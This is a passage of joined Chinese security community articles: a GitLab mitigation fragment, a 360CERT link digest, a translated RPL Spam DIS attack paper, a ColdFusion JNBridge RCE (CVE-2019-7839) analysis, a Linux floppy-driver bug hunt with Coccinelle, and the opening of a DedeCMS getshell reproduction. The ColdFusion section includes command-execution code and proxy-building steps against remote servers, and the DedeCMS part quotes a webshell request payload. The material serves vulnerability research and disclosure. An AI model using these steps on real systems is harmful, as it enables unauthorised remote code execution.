8.9.x版本目前还没有可用的更新补丁。使用了8.9.0-8.9.11版本的用户虽然没有可用的更新补丁，但是可以通过下面给出的解决方案来缓解这个漏洞的影响。
**
**
**漏洞缓解方案**
**禁用项目的导入/导出功能**
使用管理员账号登录GitLab，然后执行下列操作：
1\. 选择“Admin Area”；
2\. 点击“Settings”
3\. 在“Import Sources”面板中禁用“GitLab export”选项
4\. 点击“保存”
**验证操作是否成功** ：
1\. 使用浏览器以普通用户身份登录GitLab；
2\. 点击“Projects”；
3\. 点击“New Project”
4\. 输入项目名称；
5\. 确保界面中没有显示“GitLab export”选项 | 社区文章 |
# 5月5日安全热点 - 近50万个心脏起搏器固件更新解决危及生命的漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
CVE-2018-10547：PHP .phar文件反射型XSS漏洞
<http://t.cn/Ru35e3e>
安卓手机unicode漏洞导致崩溃
<http://t.cn/Run1V8V>
思科 WebEx Advanced Recording Format(ARF) 远程代码执行漏洞
<http://t.cn/Ru3xOoO>
TP-Link EAP 控制器多个漏洞
<http://t.cn/Ru3xOKI>
D-LINK DIR-601路由器存在漏洞，可绕过身份验证
<http://t.cn/Ru1M7kS>
## 安全报告 Security Report
kaspersky 发布 ZooPark网络组织 的活动报告
<http://t.cn/RumwebM>
## 安全研究 Security Research
微软发布的 Windows Command Reference PDF 文档，全面覆盖了超过 250 个 Windows 控制台命令
<http://t.cn/RuRMOoA>
CVE-2017-13284 Android bluedroid 配置文件注入漏洞分析
<http://t.cn/Run1VuQ>
Digital Interruption 手机应用安全开发手册
<http://t.cn/Ru35eus>
Metasploit Shellcode免杀
<http://t.cn/Run1VDX>
FireEye：一次Logitech Harmony Hub IoT设备漏洞发现和分析过程报告
<http://t.cn/Ru3Rsal>
调试windows services
<http://t.cn/Ru1M7gg>
使用机器学习的方法来检测IOT设备中的DDOS攻击
<http://t.cn/RmEVY1V>
## 恶意软件 Malware
通过邮件分发的GandCrab v3勒索软件分析报告
<http://t.cn/Ru1c2UT>
使用CVE-2017-11882漏洞进行传播的新Remcos RAT变体分析报告
<http://t.cn/Ru1c2bn>
## 安全工具 Security Tools
在线二进制工具——用于处理二进制值的基于web的工具的集合
<http://t.cn/RuE6laQ>
gdpr-checklist
<http://t.cn/Ru1JYej>
公开资源情报计划资源列表
<http://t.cn/Ru1JYDl>
## 安全资讯 Security Information
趋势科技本周安全资讯
<http://t.cn/Ru3fVAR>
英特尔正在修补8个新的类似Spectre的缺陷，预计在5月和8月发布更新
<http://t.cn/Ru1c25G>
欧洲航天局正在寻求建立一个通信卫星，使用量子密钥分配安全地发送数据
<http://t.cn/Ru1M7sU>
近五十万个心脏起搏器正在进行固件更新，以解决可能危及生命的漏洞。
<http://t.cn/Ru1M7sk>
美国陆军2025-2040年网络与电子战构想
<http://t.cn/Ru1MzvN>
欧洲中央银行表示已经设计了一个针对银行、证券交易所和其它金融公司的网络攻击模拟测试框架
<http://t.cn/Ru1MzPE>
信息安全技术个人信息安全规范
<http://t.cn/RQFXGYn>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
# 针对物联网路由协议的Spam DIS攻击
|
##### 译文声明
本文是翻译文章，文章原作者 Cong Pu，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/abstract/document/8685628>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 Abstract
低功耗有损网络（LLN）由一组在通信、计算、内存和能源方面受资源限制的节点组成，在实现无处不在的计算和通信范例中起着至关重要的作用。为了提供有效和可靠的通信，并使资源受限的节点集成到互联网中，已经提出了一种用于LLN的新颖路由协议，称为RPL。
但是由于固有的资源限制、缺乏防篡改功能和路由协议的安全性，使用RPL运行的LLN容易受到各种拒绝服务（DoS）攻击。在本文中提出并研究了一种基于RPL的LLN的新型DoS攻击，称为Spam
DIS攻击。在Spam DIS攻击中，恶意节点多播具有不同虚拟身份的DODAG信息请求（DIS，DODAG Information
Solicitation）消息，导致合法节点重新启动Trickle算法并广播过多的DODAG信息对象（DIO，DODAG Information
Object）消息，从而耗尽了合法节点的能源资源，最终使合法节点遭受拒绝服务的困扰。进行了广泛的模拟实验以评估Spam
DIS攻击的性能，并与原始RPL进行比较。仿真结果表明Spam DIS攻击是一种非常严重的DoS攻击。
## 0x01 Introduction
从简单的传感器节点到复杂的家用电器和智能电话，具有通信和计算能力的智能设备或对象遍布我们周围，这导致了无处不在的计算和物联网的兴起。据预测到2020年底，用于IoT应用的无线连接设备的数量将增加到500亿，到2020年全球在IoT上的支出也将增加到1.7万亿美元。作为物联网的主要构建模块，由数以千计的嵌入式网络设备组成的低功耗有损网络（LLN）采用基于开放标准的基于IPv6的架构与较大的互联网连接，从而为实现物联网应用程序铺平了道路。
随着向资源受限节点提供互联网（IPv6）连接并通过有损无线链路有效构建可靠路由的需求不断增长，
互联网工程专责小组（IETF）工作组提出了一种针对低功耗和有损网络的新型路由协议，称为RPL，以为IP智能对象网络提供有效和可靠的通信。例如，思科的基于智能网（CG-Mesh）的局域网（FAN）是基于IPv6架构设计的，该架构在PHY和MAC层使用IEEE
802.15.4形成LLN，并采用RPL提供端到端的服务。到每个智能计量端点的双向通信。
但是，由于恶劣的部署环境和缺乏物理保护，攻击者很容易捕获、篡改或破坏节点。共享无线介质的开放性还可以使攻击者充分监听、重放、破坏或更改数据。另外，RPL最初并不是为考虑恶意攻击的安全性而设计的，而安全性机制是可选的，因为它会极大地影响资源受限设备的性能。因此，基于RPL的LLN容易受到各种主要针对服务可用性的拒绝服务（DoS）攻击。
在本文中提出了基于RPL的LLN中的一种新型的拒绝服务攻击，称为Spam
DIS攻击。恶意节点会通过大量具有不同虚拟身份的DIS消息来导致合法节点重新启动Trickle算法并广播过多的DIO消息，这是构建路由拓扑所必需的RPL消息。这消耗了合法节点的能量资源，并最终导致合法节点无法通信并遭受拒绝服务。
Spam
DIS攻击主要通过违反隐含假设（即，当所有合法节点在收到没有请求的信息选项或请求的信息的DIS消息时，毫不犹豫地信任所有广播的DIO消息）来针对RPL中DIO传输机制的漏洞。
## 0x02 RPL Routing Protocol
RPL是一种距离矢量和源路由协议，旨在在IEEE 802.15.4
PHY和MAC层上运行，它代表了一种针对计算和带宽非常有限的低功耗和有损网络的特定路由解决方案，极易遭受数据包丢失。为了维护网络状态信息，RPL将节点组织为一个或多个面向目的地的有向无环图（DODAG），其中DODAG由RPL实例ID，DODAG
ID和DODAG版本号来区分。每个DODAG都与一组普通节点和一个DODAG根相关联，其中提供到Internet的默认路由的节点充当DODAG根（即网关），而普通节点负责生成数据流量并将其转发到DODAG根。
另外，RPL消息被指定为一种新的ICMPv6控制消息类型，它由六个字段组成：类型，代码，校验和，安全性以及包括消息库和许多选项的消息正文。这里，控制消息的结构如上图所示，其中“代码”字段标识了四种类型的控制消息：DODAG信息对象（DIO），DODAG信息请求（DIS），DODAG目的地广播对象（DAO）和DODAG目的地广播对象确认（DAO-Ack）。
DIO消息由DODAG根发出，以构造新的DODAG并建立从其他节点到DODAG根的向上路由。
DIO消息包含DODAG根的ID，DODAG根的等级以及描述路由度量和约束的目标功能。
DIO消息的附带网络信息允许节点发现RPL实例、学习其配置参数、构建其父列表和维护DODAG。任何收到DIO消息并愿意加入DODAG的节点都应将DIO消息发送方添加到其父列表，根据目标函数计算其自身的等级，然后将DIO消息与更新的等级信息一起传递。
此处，等级用于表示节点相对于DODAG根相对于其他节点的位置。在DODAG中，层次结构顶部的节点比底部的节点获得的等级要小，并且最小的等级被分配给DODAG根。将父列表中所有节点中排名最小的节点选为首选父节点。构造DODAG之后，每个节点都可以通过选择其最喜欢的父节点作为下一跳转发节点，将数据转发到DODAG根。
为了通过最小化冗余DIO消息并动态调整传输速率来减少能耗，DIO消息的发送由Trickle算法进行调节，该算法是一种密度感知的本地通信原语，具有基本的信息模型指导消息传输。更具体地，根据路由信息的稳定性动态地调整DIO消息的发送速率。如果从相邻节点接收到的DIO消息中附带的信息与当前存储的路由信息一致，则降低发送速率。否则，当收到不一致的DIO消息时，发送速率会增加。
另外，来自希望加入网络的新节点的DODAG信息请求（DIS）消息也将被视为不一致的路由信息。在Trickle算法中，如上图所示，时间分为可变长度的周期。
DIO消息的传输安排在每个周期的后半段的随机时间 **t** ram中。直到 **t**
ram，该节点都在无线信道上侦听不一致的路由信息，例如来自新节点的DIS消息。在时间 **t**
ram中，如果节点未收到DIS消息，则它广播调度的DIO消息。然后，将下一个周期的长度加倍，直到达到最大长度。否则，当前周期被中断并且调度的DIO消息的发送被终止，如它在图的第4周期内发生的那样，Trickle流算法再次从
**t** min开始。
为了建立从DODAG根到其他节点的下行路由，该节点需要发出DODAG目的广播对象（DAO）控制消息，以传播反向路由信息并记录沿上行路由访问的节点。在将DAO消息传递到DODAG根之后，在DODAG根和节点之间建立了一条完整的下行路由。最后，DODAG根将DODAG目标广播对象确认（DAO-Ack）消息作为单播数据包回复到DAO消息的源作为响应。
如果新节点要加入现有网络，则可以通过多播DODAG信息请求（DIS）控制消息从相邻DODAG中的邻居节点请求拓扑信息。当节点收到不带“请求的信息”选项，或具有“请求的信息”选项且所有谓词在“请求的信息”选项中匹配的DIS消息时，它将终止DIO消息的预定传输，并从一段时间开始重新启动Trickle流算法，最小长度
**t** min。在这里，“请求的信息”选项用于节点从相邻节点请求DIO消息。
选项可以指定要由接收节点匹配的多个谓词标准，请求者使用它来限制答复的数量。但是DIS传输机制也可以被攻击者利用来攻击网络。例如，恶意节点多播具有不同虚拟身份的大量DIS消息以破坏网络协议并干扰正在进行的通信。
## 0x03 The Spam DIS Attack
Spam
DIS攻击的基本思想是，恶意节点多播具有不同虚拟身份的大量DODAG信息请求（DIS）消息，从而导致合法节点重新启动Trickle算法并广播过多的DODAG信息对象（DIO）消息，这会很快耗尽合法节点的能源，并最终导致合法节点无法通信，并遭受LLN中的服务拒绝。在本文中假设攻击者能够捕获和破坏合法节点，获得对包括公钥和私钥在内的所有存储信息的访问权，并将其重新编程为恶意行为。
此外，恶意节点可能会创建从其自己的MAC地址或随机生成的伪造MAC地址派生的虚拟身份。由于MAC地址的大小恒定（例如48位），因此不能保证每个随机生成的虚拟标识都与网络中使用的所有实际MAC地址都不相同。但是，由于网络的24位地址空间包含224个可能的MAC地址，因此生成与网络中现有地址相同的伪造MAC地址的可能性极低，接近于零。因此隐式假设网络中不存在随机生成的虚拟身份，合法节点会将其视为新身份。
首先，发起Spam
DIS攻击的一种简单方法是随机生成一个虚拟身份，并将带有虚拟身份的DIS消息多播到所有相邻节点。当合法节点收到带有新身份的DIS消息时，它假定一个新节点希望加入网络，并通过DIS消息探测网络配置和其他参数，这将被视为不一致的路由信息。因此，合法节点从最小周期tmin重新开始Trickle算法，然后在
**t** min的后半部分的随机时间广播附带当前网络信息的DIO消息。
通过上图所示的示例说明Spam DIS攻击，其中假设 **n** m是一个恶意节点。 **n** m将带有随机生成的虚拟身份的DIS消息多播到其所有邻居节点
**n** e， **n** f和 **n** g。当邻居节点（例如 **n** f）从 **n**
m接收DIS消息时，它认为新节点希望加入网络并请求当前网络信息。因此， **n** f从 **t** min重新开始Trickle算法，然后在 **t**
min的后半部分的任意时间将搭载当前网络信息的DIO消息广播到 **n** m。
其次，如果恶意节点以一致的速率生成多个带有不同虚拟身份的DIS消息，然后将它们组播到相邻节点，则所有接收节点将从头开始重复重新启动Trickle算法，并广播大量DIO消息。例如在下图中，恶意节点
**n** m生成并向节点 **n** f多播具有不同身份的多个DIS消息。
然后，节点 **n** f必须反复从 **t** min重新启动其Trickle算法，然后广播DIO消息，这导致 **n**
f缩短了连续DIO消息的时间间隔。结果，过多的接收到的DIS和广播的DIO消息会大量消耗能量资源和通信带宽，并最终导致合法节点nf耗尽其能量并遭受拒绝服务的困扰。
## 0x04 Performance Evalution
使用OMNeT ++ 进行了广泛的模拟实验，以评估Spam
DIS攻击对性能的影响。包含单个DODAG根的30个节点均匀分布在100×100平方米的网络区域中。每个节点的通信范围是30（m）。无线电模型以250
Kbps的正常数据速率模拟CC2420，并且802.15.4 MAC / PHY在2.4 GHz频带中以默认配置运行。数据包注入速率设置为0.1
pkt/s，以模拟低数据速率情况。一组恶意节点随机位于网络中。总仿真时间为5000秒，每个仿真场景重复5次以获得稳态性能指标。
在本文中通过更改关键模拟参数（包括Spam
DIS消息注入率（rdis）和恶意节点数（Nmal）），在能耗、节点寿命和生成的DIO消息数方面衡量性能。将Spam
DIS攻击与原始RPL（没有攻击者）的性能影响进行了比较。
首先，通过更改Spam DIS消息注入速率和Subfig中的恶意节点数量，根据接收和广播的数据包数量来衡量能耗。如上图左，总体而言，Spam
DIS攻击的能耗随着Spam DIS注入速率的增加而增加。这是因为恶意节点可以生成更多的DIS数据包并将其多播到具有更高Spam
DIS消息注入率的合法节点，合法节点将相应地答复大量DIO消息。换句话说，合法节点必须接收和广播过多的控制分组。
因此，观察到较大的能量消耗。随着恶意节点数量的增加，能源消耗也显着增加。由于网络中存在更多恶意节点并广播Spam
DIS消息，因此合法节点必须分别接收和广播更多DIS和DIO消息，最终导致更大的能耗。其次通过改变Subfig中恶意节点的数量来测量经过的模拟时间的能耗，如上图右。
与攻击者Spam
DIS攻击相比，没有攻击者的RPL能耗最低，这是因为DIO消息的发送速率是通过Trickle算法动态调整和调节的，从而通过最小化冗余DIO消息和更少的控制数据包来降低能耗被接收和广播。因此，RPL在没有攻击者的情况下实现了最低的能耗。
随着恶意节点数Nmal的增加，Spam
DIS攻击的能耗随着模拟时间的增加而迅速增加。由于更多的恶意节点生成并广播了更多的DIS消息以探测来自邻居节点的DIO消息，因此合法节点会接收到更多的DIS消息，然后广播过多的DIO消息，从而消耗更多的能量。
在Subfig中使用不同数量的恶意节点Nmal和Spam DIS消息注入率来测量节点寿命，结果如下图左。在这里假设每个合法节点都装有一个标准AA电池（400
mAh和1.5 V），并且当合法节点用完一半的电池能量（例如1080焦耳）时，它将停止并且无法进一步通信，而恶意节点没有能量限制。
随着Spam DIS注入速率的增加，整个节点的寿命会迅速减少。这是因为合法节点接收并广播大量控制数据包，并且很快耗尽了存储的能源。在恶意节点数Nmal =
3的情况下，随着Spam
DIS消息注入率的提高，节点的寿命从大约130天减少到28天。由于恶意节点生成的DIS消息数量较大，合法节点必须通过广播更多DIO消息来进行响应，这会很快消耗有限的能量。
通过更改Subfig中的Spam DIS消息注入率rdis来确定生成的DIO消息的数量的结果如上图右。在Spam
DIS攻击下，与没有攻击者的RPL相比生成了更多的DIO消息。这是因为恶意节点经常广播DIS消息以探测来自合法节点的DIO消息。
随着Spam
DIS注入速率的增加，生成的DIO的数量将大大增加。另一方面，原始RPL在没有攻击者的情况下观察到最少数量的DIO消息，因为采用了Trickle流算法来最小化冗余DIO消息以减少能耗。
## 0x05 Concluding Remarks
在本文中研究了Spam DIS攻击，这是基于RPL的LLN中的一种新的严重拒绝服务攻击。对其进行分析并将其与原始RPL进行比较。大量的仿真结果表明Spam
DIS攻击会显着增加能耗并缩短节点寿命，从而导致拒绝服务。
作为未来的工作，计划提出一种轻量级的对策，以减轻基于RPL的LLN中的Spam
DIS攻击。例如，沿着转发路径的每个中间节点可以维持阈值，以限制一个时间段内从同一节点接收消息的速率。如果接收到的消息数超过阈值，则所有其他消息将被拒绝。 | 社区文章 |
**作者: Badcode@知道创宇404实验室**
**日期: 2019/07/09**
**英文版本：<https://paper.seebug.org/1000/>**
### 漏洞简介
Adobe ColdFusion 是一个商用的快速开发平台。它可以作为一个开发平台使用，也可以提供Flash远程服务或者作为 Adobe
Flex应用的后台服务器 。
2019年06月11日，Adobe
发布[安全公告](https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html)，修复了Adobe
ColdFusion多个严重漏洞。其中有一个由Moritz Bechler提交的命令注入漏洞(CVE-2019-7839)。
2019年06月26日，Moritz Bechler 在 Bugtraq
上公布了远程代码执行漏洞(CVE-2019-7839)的[部分细节](https://seclists.org/bugtraq/2019/Jun/38)，由于
JNBridge 组件存在缺陷，而 ColdFusion 默认开启JNBridge组件，导致代码执行漏洞。
### 漏洞影响
* ColdFusion 2018 Update 3 及之前的版本
* ColdFusion 2018 Update 10 及之前的版本
* ColdFusion 11 Update 18 及之前的版本
* <= ColdFusion 9
### 漏洞分析
根据 Moritz Bechler 披露的部分细节，是由于ColdFusion 默认开启了 JNBridge listener 从而导致了漏洞。
先来了解一下JNBridge。
#### 什么是 JNBridge？
JNBridge 是一种领先的JAVA与.NET互操作的的产品，凭借JNBridge技术，Java
和.NET代码无需交叉编译器就可以实现对象共享。所有Java代码运行在JVM上，而.NET代码则运行在CLR上。在该方案下，JVM和CLR可以运
行在不同的机器上，也可以运行在一台机器的不同进程上，甚至还能运行在相同的进程的不同应用程序域上。
下载 JNBridgePro，安装完之后会有demo。试用license
jnbp-eval-v10.0#1899-2367-9451-2280
这里我们尝试使用.net去调用java，跑一下logDemo，了解下大致流程。
##### 启动 Java 服务端
根据 JNBridge 的安装路径，修改`startJava.bat`，运行
可以看到，JNBridge 服务端 listener 已开启，监听在8085端口。
##### 构建 .Net 客户端
根据 demo的指示文档 logDemo.pdf，一步一步构建 .Net 项目。
##### 运行
运行 .Net 项目，调用 Java 服务端，成功调用。
##### 如何执行调用 java.lang.Runtime
之前流程有一步是将 `loggerDemo.javaClass`转成
`logger.dll`，试想一下，是否可以将`java.lang.Runtime`导成dll文件，供 .Net 客户端引用，然后去调用 Java
服务端的`java.lang.Runtime`？
尝试一下
将 `rt.jar`引入 classpath
添加 `java.lang.Runtime`类
导出 `runtime.dll`
引入 .Net 项目中供调用
运行
成功调用到了 Java 服务端中的`java.lang.Runtime`，这也是这个漏洞的根源。
#### ColdFusion 中的 JNBridge
ColdFusion 中是默认运行了 JNBridge listener 的，并且是 Java 服务端，监听端口是 6095(ColdFusion
2018)、6093(ColdFusion 2016)、6085(ColdFusion <=9/11)。
由于 Coldfusion 中带的 JNBridge 版本不同，所以构造 payload 的方式有些差异。
##### ColdFusion 2016/2018
ColdFusion 2018 中的 JNBridge 版本是 v7.3.1，无法使用上面的的JNBridge v10去构造 payload，在
JNBridge 官网上可以下载一部分[历史版本](https://jnbridge.com/download-back-versions)，下载
v7.3版本。
编写想要在 Java 服务端执行的代码
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
里面使用到了`java.lang.Runtime`，`java.lang.Process`，`java.io.BufferedReader`，`java.io.InputStreamReader`和`java.lang.System`，将相关类从`rt.jar`中导成`runtime2.dll`，供
.Net 客户端引用。
根据 Java代码重写
这里面有个非常重要的 `JNBShare.dll`，这里使用自己安装的 JNBridge 成功后生成的
`JNBShare.dll`，无法使用ColdFusion 中 JNBridge 的 `JNBShare.dll`，会报错。
运行，攻击远程的ColdFusion 2018(Linux平台)，成功返回结果。
##### ColdFusion 9/11
ColdFusion 9 内部的 JNBridge 版本是 v5.1，监听端口是
6085。由于这个版本比较老了，没找到安装包，现在需要生成供我们引用的`runtime2.dll`和能用的`JNBShare.dll`。ColdFusion
内部的 JNBridge中的jnbproxyGui.exe无法构建 `.net -> java`项目，也就是说GUI工具用不了，所幸的是命令行工具还可以用。
jnbproxy.exe，看下参数。
根据参数，生成`runtime2.dll`
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
至于
`JNBShare.dll`，因为内部的无法使用，安装包又下载不到。幸运的是有人收藏了这个`JNBShare.dll`，谷歌搜索能够找到，并且刚好是v5.1版本的。
运行，攻击远程的 ColdFusion 9(windows平台)，返回命令执行结果。
* * * | 社区文章 |
这篇简短的文章描述了我们在实战过程中的对Linux内核漏洞的调查以及我对Semmle
QL和Coccinelle的使用经验，我曾经用该工具来搜索类似的bug。
### 内核漏洞
几天前，我的自定义`syzkaller`项目代码产生了崩溃。它具有一个非常稳定的reproducer
，所以我借用此模块进行研究。在这里，我将借此机会说`syzkaller`是一个非常棒的项目，对我们的行业产生了很大的影响。
我发现导致此崩溃的错误已在commit 229b53c9bf4e（2017年6月）中的`drivers/block/floppy.c`中引入。
`compat_getdrvstat()`函数代码如下所示：
static int compat_getdrvstat(int drive, bool poll,
struct compat_floppy_drive_struct __user *arg)
{
struct compat_floppy_drive_struct v;
memset(&v, 0, sizeof(struct compat_floppy_drive_struct));
...
if (copy_from_user(arg, &v, sizeof(struct compat_floppy_drive_struct)))
return -EFAULT;
...
}
这里`copy_from_user()`将用户空间指针arg作为复制目标，将内核空间指针＆v作为源。 这显然是一个错误。
它可以由具有访问软盘驱动器的用户触发。
这个bug对x86_64的影响很大。 它从内核空间导致用户空间内存的`memset()`执行：
1 `copy_from_user()`源码（第二个参数）的`access_ok()`失败。
2 然后`copy_from_user()`尝试删除复制目标（第一个参数）。
3 但目标是在用户空间而不是内核空间...
4 所以我们产生了一个内核崩溃：
[ 40.937098] BUG: unable to handle page fault for address: 0000000041414242
[ 40.938714] #PF: supervisor write access in kernel mode
[ 40.939951] #PF: error_code(0x0002) - not-present page
[ 40.941121] PGD 7963f067 P4D 7963f067 PUD 0
[ 40.942107] Oops: 0002 [#1] SMP NOPTI
[ 40.942968] CPU: 0 PID: 292 Comm: d Not tainted 5.3.0-rc3+ #7
[ 40.944288] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 40.946478] RIP: 0010:__memset+0x24/0x30
[ 40.947394] Code: 90 90 90 90 90 90 0f 1f 44 00 00 49 89 f9 48 89 d1 83 e2 07 48 c1 e9 03 40 0f b6 f6 48 b8 01 01 01 01 01 01 01 01 48 0f af c6 48 ab 89 d1 f3 aa 4c 89 c8 c3 90 49 89 f9 40 88 f0 48 89 d1 f3
[ 40.951721] RSP: 0018:ffffc900003dbd58 EFLAGS: 00010206
[ 40.952941] RAX: 0000000000000000 RBX: 0000000000000034 RCX: 0000000000000006
[ 40.954592] RDX: 0000000000000004 RSI: 0000000000000000 RDI: 0000000041414242
[ 40.956169] RBP: 0000000041414242 R08: ffffffff8200bd80 R09: 0000000041414242
[ 40.957753] R10: 0000000000121806 R11: ffff88807da28ab0 R12: ffffc900003dbd7c
[ 40.959407] R13: 0000000000000001 R14: 0000000041414242 R15: 0000000041414242
[ 40.961062] FS: 00007f91115c4440(0000) GS:ffff88807da00000(0000) knlGS:0000000000000000
[ 40.962603] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 40.963695] CR2: 0000000041414242 CR3: 000000007c584000 CR4: 00000000000006f0
[ 40.965004] Call Trace:
[ 40.965459] _copy_from_user+0x51/0x60
[ 40.966141] compat_getdrvstat+0x124/0x170
[ 40.966781] fd_compat_ioctl+0x69c/0x6d0
[ 40.967423] ? selinux_file_ioctl+0x16f/0x210
[ 40.968117] compat_blkdev_ioctl+0x21d/0x8f0
[ 40.968864] __x32_compat_sys_ioctl+0x99/0x250
[ 40.969659] do_syscall_64+0x4a/0x110
[ 40.970337] entry_SYSCALL_64_after_hwframe+0x44/0xa9
我还没有找到一种方法来利用它来进行权限提升。
### 变体应用分析：Semmle QL
我的第一个想法是在整个内核源代码中搜索类似的问题。 我决定尝试`Semmle QL（Semmle最近非常活跃）`。
这里有一个很好的QL和LGTM介绍，有足够的信息可以快速启动。
[introduction to QL and LGTM](https://blog.semmle.com/introduction-to-variant-analysis-part-2/)
所以我在Query控制台中打开了Linux内核项目，搜索了`copy_from_user()`的调用：
import cpp
from FunctionCall call
where call.getTarget().getName() = "copy_from_user"
select call, "I see a copy_from_user here!"
此查询仅提供了616个结果。 这很奇怪，因为Linux内核中应该有更多的`copy_from_user()`调用。 我在LGTM文档中找到了答案：
> LGTM从每个代码库中提取信息并生成数据库
> 并准备好查询。之后对于C/C++项目，构建源代码，并作为提取过程的一部分。
因此，用于内核构建的Linux内核配置限制了LGTM分析的范围。 如果配置中没有启用某个内核子系统，则它不会构建，因此我们无法在LGTM中分析其代码。
LGTM文档还说：
> 我们可能需要自定义流程以使LGTM能够构建项目。
> 我们可以通过向存储库添加项目的lgtm.yml文件来完成此操作。
我决定为Linux内核创建一个自定义lgtm.yml文件，并在LGTM社区论坛上提供一个默认文件。
LGTM团队的答案非常快速：
我们在lgtm.com上使用的工作机器很小且资源有限，所以不幸的是，defconfig只是我们可以使用的最大配置。每次提交完整构建+提取+分析需要3.5小时，而我们最多允许4个小时的分析过程。
这并不是一个好的回复，但他们目前正致力于大项目的解决方案。
所以我决定尝试另一种工具进行调查。
### 变体分析：Coccinelle
我听说过Coccinelle。 Linux内核社区经常使用这个工具。 此外，我记得`Kees
Cook`用`Coccinelle`搜索了`copy_from_user()`错误。
所以我开始学习语义补丁语言（SmPL）并最终编写了这条规则（感谢Julia Lawall的反馈）：
virtual report
@cfu exists@
identifier f;
type t;
identifier v;
position decl_p;
position copy_p;
@@
f(..., t v@decl_p, ...)
{
... when any
copy_from_user@copy_p(v, ...)
... when any
}
@script:python@
f << cfu.f;
t << cfu.t;
v << cfu.v;
decl_p << cfu.decl_p;
copy_p << cfu.copy_p;
@@
if '__user' in t:
msg0 = "function \"" + f + "\" has arg \"" + v + "\" of type \"" + t + "\""
coccilib.report.print_report(decl_p[0], msg0)
msg1 = "copy_from_user uses \"" + v + "\" as the destination. What a shame!\n"
coccilib.report.print_report(copy_p[0], msg1)
它的想法很简单。通常在将用户空间指针作为参数的函数中调用`copy_from_user()`。
我的规则描述了`copy_from_user()`将用户空间指针作为复制目标时的情况：
* 规则的主要部分查找所有情况，当某个函数f()的参数v用作copy_from_user()的第一个参数。
* 如果匹配，Python脚本将检查v是否在其类型中具有`__user`注释。
这是Coccinelle输出：
./drivers/block/floppy.c:3756:49-52: function "compat_getdrvprm" has arg "arg"
of type "struct compat_floppy_drive_params __user *"
./drivers/block/floppy.c:3783:5-19: copy_from_user uses "arg" as the
destination. What a shame!
./drivers/block/floppy.c:3789:49-52: function "compat_getdrvstat" has arg "arg"
of type "struct compat_floppy_drive_struct __user *"
./drivers/block/floppy.c:3819:5-19: copy_from_user uses "arg" as the
destination. What a shame!
因此，有两个（不是非常危险的）内核漏洞适合这种错误模式。
### 公共的0 day 漏洞
事实证明，我不是第一个发现这些错误的人。 Jann
Horn于2019年3月向他们报告。他用[sparse](https://www.kernel.org/doc/html/latest/dev-tools/sparse.html)的方法找到它们。 我绝对相信它能找到比我的PoC Coccinelle规则更多的错误案例。
但事实上，Jann的补丁丢失了，并没有进入官方的更新主线。
所以这两个错误可以称为“公开的0 day”:-)
我已经向LKML报告了这个问题，而Jens Axboe将应用Jann的Linux内核v5.4补丁。
本文为翻译文章：http://blog.ptsecurity.com/2019/08/case-study-searching-for-vulnerability.html | 社区文章 |
本文由红日安全成员： **七月火** 编写，如有不当，还望斧正。
## 前言
最近发现 **dedecms** 的 **nday后台getshell** ，于是打算还原一下。根据日志显示，攻击者访问了
**dede/ad_add.php** 文件后，转而访问 **plus/ad_js.php** 文件，提交的 **payload** 为 **plus/ad
_js.php?nocache=1 &aid=1&_=whoami** 。
## 前期准备
DedeCMS V5.7
SP2正式版下载：<http://updatenew.dedecms.com/base-v57/package/DedeCMS-V5.7-UTF8-SP2.tar.gz>
我们先来看一下 **dede/ad_add.php** 文件。可以看到这是一个增加广告的页面，如下图：
实际上，它在后台的位置对应如下：
接下来，笔者使用 **[TheFolderSpy](https://6e053d98-a-62cb3a1a-s-sites.googlegroups.com/site/venussoftrusia/dnload/TheFolderSpy.rar?attachauth=ANoY7cqjOrqt2URZPOVzcaNe1sYIWFuojXSULFpFqvfKIt2PslZwBiYh3_u-uYOmUMsKqiKs73hR8u0qcfn4kdsWq7qOPZQEA_gSEKz5b8g2DSeKCpsjWkcqVYs-TWjFj7pCDLatu7fTbkOkJJHQGeBoceSXl0w-kyiLXoNvn2apMmQFhL0r1QH4NacL4Fd4fjFtjSQcZIz9MYOLB2CYv7OLjxZGfN-wDXU4JKgWsjSSKNDDpwxhF5E%3D&attredirects=1)**
软件对网站文件进行监控，这样能让我们快速的发现发生修改的文件，从而提高审计效率。
**[TheFolderSpy](https://6e053d98-a-62cb3a1a-s-sites.googlegroups.com/site/venussoftrusia/dnload/TheFolderSpy.rar?attachauth=ANoY7cqjOrqt2URZPOVzcaNe1sYIWFuojXSULFpFqvfKIt2PslZwBiYh3_u-uYOmUMsKqiKs73hR8u0qcfn4kdsWq7qOPZQEA_gSEKz5b8g2DSeKCpsjWkcqVYs-TWjFj7pCDLatu7fTbkOkJJHQGeBoceSXl0w-kyiLXoNvn2apMmQFhL0r1QH4NacL4Fd4fjFtjSQcZIz9MYOLB2CYv7OLjxZGfN-wDXU4JKgWsjSSKNDDpwxhF5E%3D&attredirects=1)** 设置如下：
然后，在如下4个位置分别填入一些标识信息，以便后续判断到底是哪一处发生问题。填写信息如下：
